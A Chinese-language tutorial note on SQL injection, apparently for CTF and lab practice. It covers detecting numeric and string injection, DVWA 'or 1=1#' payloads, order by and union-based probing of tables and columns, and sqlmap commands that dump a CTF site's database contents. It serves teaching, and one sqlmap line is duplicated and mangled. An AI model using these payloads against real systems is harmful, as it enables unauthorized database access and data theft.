一、基礎(chǔ)
1. 定義
SQL注入是一種利用未過濾/未審核用戶輸入的攻擊方法(“緩存溢出”和這個不同),意思就是讓應(yīng)用運行本不應(yīng)該運行的SQL代碼。如果應(yīng)用毫無防備地創(chuàng)建了SQL字符串并且運行了它們,就會造成一些出人意料的結(jié)果。
【自行理解:只要有要求用戶輸入的地方,就會有連接數(shù)據(jù)庫的操作,由于用戶可以輸入任何東西,所以就能也能輸入sql代碼來搞破壞】
2. 分類
- 數(shù)字型:
select * from <表名> where id = 1 - 字符型:
select * from <表名> where id = 'x'
3. 一般流程
step1:尋找注入點
找到網(wǎng)站中傳遞參數(shù)的地方,比如按編號查詢商品的頁面,如http://xxx/xxx.php?id= 45再進行判斷
- 數(shù)字型
step1:在url中輸入http://xxx/xxx.php?id=x and 1=1頁面正常,則進入下一步
step2: 再輸入http://xxx/xxx.php?id=x and 1=2頁面出錯,則說明存在數(shù)字型注入
(原因:若是字符型注入,那么
真正執(zhí)行的sql語句其實是select * from <表名> where id = 'x and 1=2'這樣的,并不會存在邏輯判斷)
補充判斷
- 字符型
step1:在url中輸入http://xxx/xxx.php?id=x' and '1'='1頁面正常,則進入下一步
step2: 再輸入http://xxx/xxx.php?id=x' and '1'='2頁面出錯,則說明存在字符型注入
補充
step2:猜解數(shù)據(jù)庫字段
猜解原理:以dvwa為例
源碼:$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
我們要做的就是通過控制user_id的輸入達到獲取數(shù)據(jù)庫中信息的目的,比如輸入' or 1=1#則真正執(zhí)行的sql語句是
SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1#`;
這里' or 1=1#也叫萬能密碼,原理很簡單,對于執(zhí)行的sql語句,user_id傳入什么不要緊,后面的1=1永遠成立,再注意加注釋#表示把后面的 `去掉,根據(jù)or運算的性質(zhì),有一個條件為真,這句話就可以執(zhí)行
- 你猜有沒有xxx表?--- ' or exists (select * from xxx)#
- 你猜xxx表里有幾個字段呀?--- 1' order by N#
(注:order by N的意思是按表中第N字段排列,其中N就是你要試的數(shù),如果表里有2個字段,則執(zhí)行order by 1和order by 2都正常,而執(zhí)行order by 3出錯) - 你猜表里的字段都有那些呀?--- 1' unoin select x1,x2 from 表名
(注1:Union查詢可查詢兩個及以上字段,若上一步判斷得表中主查詢列數(shù)為2,則每次使union查詢兩項)
(注2:常用查詢
database()將會返回當前網(wǎng)站所使用的數(shù)據(jù)庫名字.
user()將會返回執(zhí)行當前查詢的用戶名.
version() 獲取當前數(shù)據(jù)庫版本.
@@version_compile_os 獲取當前操作系統(tǒng)。
table_name 數(shù)據(jù)庫中其他表
table_schema 數(shù)據(jù)庫的模式
username 用戶名
password 密碼)
二、使用神器sqlmap
1.爆當前數(shù)據(jù)庫名:sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --current-db
2.爆表名: -D 指定上一步爆出的數(shù)據(jù)庫名 my_db
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables
3.爆列名(字段名), -T 指定上一步爆出的表名 admin
sqlmap -u "爆列名(字段名), -T 指定上一步爆出的表名 admin
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns --no-cast
4.爆字段中存儲的數(shù)據(jù)值:使用-D my_db -T thiskey -C k0y --dump 參數(shù)得到值
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump

